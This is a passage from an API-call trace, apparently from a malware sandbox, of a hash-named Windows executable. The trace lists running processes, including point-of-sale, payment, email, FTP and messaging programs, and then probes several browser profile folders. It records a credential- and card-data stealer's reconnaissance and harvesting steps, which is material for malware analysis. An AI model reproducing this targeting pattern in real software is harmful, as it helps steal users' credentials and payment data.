pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0097.601] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x102c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0097.602] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0097.603] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1040, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0097.604] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0097.605] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0097.607] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0097.608] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0097.609] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1080, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0097.610] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0097.611] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0097.612] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0097.613] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0097.614] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0097.615] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0097.616] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0097.617] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0097.618] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0097.619] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0097.620] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0097.621] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1110, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0097.622] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0097.623] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0097.624] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0097.625] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0097.626] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0097.627] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="starfirmair.exe")) returned 1 [0097.628] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="plant_yet_amount.exe")) returned 1 [0097.629] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="performance building.exe")) returned 1 [0097.630] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xb2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0097.631] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.632] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.633] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.634] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0097.634] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0097.635] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0097.639] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x37c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0097.639] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb60, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.640] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 1 [0097.641] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0097.642] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0097.643] CloseHandle (hObject=0x2f8) returned 1 [0097.643] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.643] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x2111428 [0097.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0097.649] Process32First (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0097.650] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x71, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0097.651] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0097.652] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.653] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0097.654] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0097.654] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0097.655] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0097.656] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0097.657] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.658] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.667] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0097.668] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.669] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.670] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.671] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.671] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.672] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.673] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.674] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0097.675] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0097.676] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.737] CloseHandle (hObject=0x2f8) returned 1 [0097.737] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111428 | out: hHeap=0x2110000) returned 1 [0097.737] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f42c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.740] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0097.740] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0097.740] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini" [0097.740] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\mozilla\\firefox\\profiles.ini")) returned 0xffffffff [0097.741] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f424 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Moonchild Productions\\Pale Moon\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\" [0097.741] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\" [0097.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini" [0097.741] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\moonchild productions\\pale moon\\profiles.ini")) returned 0xffffffff [0097.741] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f41c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Waterfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\" [0097.741] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\" [0097.741] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\..\\profiles.ini" [0097.741] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Waterfox\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\waterfox\\profiles.ini")) returned 0xffffffff [0097.742] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f414 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.742] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\8pecxstudios\\Cyberfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\" [0097.742] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\" [0097.742] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\..\\profiles.ini" [0097.742] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\8pecxstudios\\Cyberfox\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\8pecxstudios\\cyberfox\\profiles.ini")) returned 0xffffffff [0097.742] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, 